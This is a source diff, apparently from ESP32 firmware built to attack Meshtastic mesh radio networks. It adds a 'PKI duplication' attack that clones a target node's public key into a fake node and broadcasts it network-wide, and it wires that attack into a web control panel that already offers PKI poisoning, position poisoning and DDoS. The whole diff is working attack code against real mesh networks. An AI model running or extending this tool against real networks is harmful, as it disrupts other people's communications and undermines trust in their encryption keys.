diff --git a/data/web/index.html b/data/web/index.html index 3858427..91667ae 100644 --- a/data/web/index.html +++ b/data/web/index.html @@ -275,6 +275,7 @@ +

Note: A Target Node ID of !ffffffff means the attack will cycle through all @@ -334,6 +335,16 @@ +

+

Copied PKI of a selected (or randomly selected) node, alerting it the key has exposed. +

+ +
+ + +
+
+ @@ -562,6 +573,8 @@ command.params.max_lon = parseFloat(document.getElementById('max-lon').value); } else if (attack === 'pki_poison') { command.params.target_id = document.getElementById('pkipoison-target-id').value; + } else if (attack === 'pki_dupe') { + command.params.target_id = document.getElementById('pkidupe-target-id').value; } logToDebug(`▶️ Starting attack: ${attack}`); @@ -606,6 +619,7 @@ document.getElementById('namechange-target-id').value = nodeId; document.getElementById('pospoison-target-id').value = nodeId; document.getElementById('pkipoison-target-id').value = nodeId; + document.getElementById('pkidupe-target-id').value = nodeId; document.getElementById('source-node-id').value = nodeId; logToDebug(`📋 Copied Node ID to all fields: ${nodeId}`); } diff --git a/main/TMAttack.cpp b/main/TMAttack.cpp index 7ca5a58..3bf77a8 100644 --- a/main/TMAttack.cpp +++ b/main/TMAttack.cpp @@ -119,6 +119,34 @@ void TMAttack::atkPkiPoison() { sendDebugMessage("Sent PKI poison for node 0x" + std::to_string(srcnode)); } +void TMAttack::atkPkiDupe() { + uint32_t srcnode = target; + if (target == 0xffffffff) { // if target is everybody, randomize srcnode + srcnode = getRandomTarget(); + if (srcnode == 0) { + sendDebugMessage("No valid target found for PKI duplication attack."); + return; // no valid target found + } + } + auto node = meshtasticCompact->nodeinfo_db.get(srcnode); + if (!node) { + sendDebugMessage("No valid target found for PKI duplication attack."); + return; // no valid target found + } + uint32_t dupenodeid = esp_random(); + MC_NodeInfo nodeinfo = {}; // new node + std::string none = ""; + std::string none2 = ""; + uint8_t hw_model = esp_random() % 105; + MeshtasticCompactHelpers::NodeInfoBuilder(&nodeinfo, dupenodeid, none, none2, hw_model); + for (int i = 0; i < 32; i++) { + nodeinfo.public_key[i] = node->public_key[i]; // dupe target key + } + meshtasticCompact->SendNodeInfo(nodeinfo, 0xffffffff, false); + meshtasticCompact->SendNodeInfo(nodeinfo, 0xffffffff, false); + sendDebugMessage("Sent PKI dupe as node 0x" + std::to_string(srcnode)); +} + void TMAttack::atkRndNode() { // Generate random latitude and longitude within specified bounds double latitude = min_lat + static_cast(rand()) / (static_cast(RAND_MAX / (max_lat - min_lat))); @@ -180,5 +208,7 @@ void TMAttack::loop() { atkPkiPoison(); } else if (current_attack == AttackType::DDOS) { atkDdos(); + } else if (current_attack == AttackType::PKI_DUPE) { + atkPkiDupe(); } } \ No newline at end of file diff --git a/main/TMAttack.hpp b/main/TMAttack.hpp index 68f7289..af7f104 100644 --- a/main/TMAttack.hpp +++ b/main/TMAttack.hpp @@ -13,6 +13,7 @@ enum class AttackType { NAME_CHANGE, PKI_POISON, DDOS, + PKI_DUPE }; class TMAttack { @@ -58,6 +59,8 @@ class TMAttack { return "pki_poison"; case AttackType::DDOS: return "ddos"; + case AttackType::PKI_DUPE: + return "pki_dupe"; default: return "Unknown"; } @@ -71,6 +74,7 @@ class TMAttack { void atkNameChange(); void atkPkiPoison(); void atkDdos(); + void atkPkiDupe(); MeshtasticCompact* meshtasticCompact = nullptr; std::string emoji = "😈"; diff --git a/main/main.cpp b/main/main.cpp index 29848fa..dd58ddd 100644 --- a/main/main.cpp +++ b/main/main.cpp @@ -212,6 +212,14 @@ void handle_start_attack(const char* attack_type, JSON_Object* params) { std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"ddos\"}"; ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true); } + if (strcmp(attack_type, "pki_dupe") == 0 && params != NULL) { + const char* target_id = json_object_get_string(params, "target_id"); + ESP_LOGI("WEB", "PKI Duplication Attack Params: target_id=%s", target_id); + tmAttack.setTarget(getNodeIdFromCh(target_id)); + tmAttack.setAttackType(AttackType::PKI_DUPE); + std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"pki_dupe\"}"; + ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true); + } } void handle_set_config(JSON_Object* params) {